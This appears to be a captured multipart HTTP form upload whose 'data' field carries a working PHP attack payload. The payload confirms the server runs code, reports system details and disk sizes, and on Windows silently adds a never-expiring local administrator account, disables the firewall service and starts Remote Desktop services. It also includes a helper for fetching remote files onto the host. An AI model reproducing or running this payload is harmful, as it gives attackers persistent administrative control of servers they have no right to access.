------------------------------6a52fd0313af
Content-Disposition: form-data; name="data"
ob_start();
phpinfo();
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER))
   foreach($matches as $match)
       if(strlen($match[1]))
           $phpinfo[$match[1]] = array();
       elseif(isset($match[3]))
           $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
       else
           $phpinfo[end(array_keys($phpinfo))][] = $match[2];
echo "VULNERABLE\n";
echo "SYSTEM: ".$phpinfo['phpinfo']['System']."\n";
if($_ENV['OS'] == "Windows_NT") {
$login ="IWAM_".rand (10000, 99999);
$password = "-".rand (10000, 99999)."@";
echo "LOGIN: $login\n";
echo "PASSWORD: $password\n";
@system("net user $login $password /ADD /EXPIRES:NEVER /ACTIVE:YES");
@system("net localgroup administrators $login /add");
@system("net localgroup administrateurs $login /add");
@system("net localgroup administratorens $login /add");
@system("net stop sharedaccess");
@system("net start dcomlaunch");
@system("net start termservice");
taille("c:");
taille("d:");
taille("e:");
taille("f:");
taille("g:");
taille("h:");
taille("i:");
taille("j:");
taille("k:");
taille("l:");
taille("m:");
taille("n:"); 
taille("o:");
taille("p:");
taille("q:");
taille("r:");
taille("s:");
taille("t:");
taille("u:");
taille("v:");
taille("w:");
taille("x:");
taille("y:");
taille("z:");
} else {
taille("/");
}
function download($file,$link) {
@unlink($file);
$get = @file_get_contents($link);
$fhack = @fopen ($file, "a");
@fwrite ($fhack, $get);
@fclose ($fhack);
}
function taille($disk) {
// Entrez la partition
$dt = disk_total_space($disk);
// Réentrez la partition
$df = disk_free_space($disk);
if(!$dt) { return; }
$used = $dt - $df;
echo "$disk Total: ".getSize($dt)." Free: ".getSize($df)." Used: ".getSize($used)."\n";
}
function getSize($taille, $units = "yes") {
$dimSize = array("octets", "Ko", "Mo", "Go", "To");
$i = 0;
while ($taille >= 1024) {
 $taille /= 1024;
 $i++;
}
return ($units == "yes") ? round($taille, 2) . " " . $dimSize[$i] : round($taille, 2);
}
------------------------------6a52fd0313af--